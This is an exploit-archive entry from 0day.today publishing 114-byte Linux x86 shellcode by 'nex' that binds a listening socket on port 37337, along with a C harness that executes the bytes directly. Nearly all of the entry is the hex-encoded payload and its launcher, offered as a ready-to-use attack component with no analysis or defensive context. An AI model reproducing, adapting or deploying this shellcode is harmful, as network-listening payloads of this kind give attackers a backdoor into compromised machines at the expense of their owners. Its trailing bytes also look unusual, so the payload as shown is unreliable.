linux/x86 2.6.27-9-generic listerning on 37337 shellcode 114 bytes

2010-08-23T00:00:00
ID 1337DAY-ID-13790
Type zdt
Reporter nex
Modified 2010-08-23T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            ==================================================================
linux/x86 2.6.27-9-generic listerning on 37337 shellcode 114 bytes
==================================================================


# Exploit Title:shellcode listening 114 bytes
# Date: 2010-08-23
# Author: nex
# Software Link: N/A
# Version: N/A
# Category: shellcode
# Tested on: Linux/x86 2.6.27-9-generic

/* shellcode listerning on 37337 */

char shellcode[] = "\x31\xc0\xb0\x66\x31\xdb\x53\xfe"
		   "\xc3\x53\xfe\xc3\x53\xb3\x01\x89"
		   "\xe1\xcd\x80\x89\xc7\x31\xd2\x52"
		   "\x66\x68\x91\xd9\xb3\x02\x66\x53"
		   "\x89\xe6\x31\xc0\xb0\x66\x31\xd2"
		   "\xb2\x10\x52\x56\x57\x89\xe1\xcd"
		   "\x80\x31\xc0\xb0\x66\x31\xdb\xb3"
		   "\x04\x31\xc9\xb1\x05\x51\x57\x89"
		   "\xe1\xcd\x80\x31\xc0\xb0\x66\x31"
		   "\xdb\xb3\x05\x31\xc9\x51\x51\x57"
		   "\x89\xe1\xcd\x80\x89\xc7\x31\xc0"
		   "\xb0\x66\x31\xdb\xb3\x0a\x31\xc9"
		   "\x51\xb1\xff\x51\xeb\x07\x57\x89"
		   "\xe1\xcd\x80\xeb\x05\xe8\xf4\xff"
		   "\xff\xff";

int
main()
{
	((void (*)()) shellcode)();

	return 0;
}



#  0day.today [2018-03-14]  #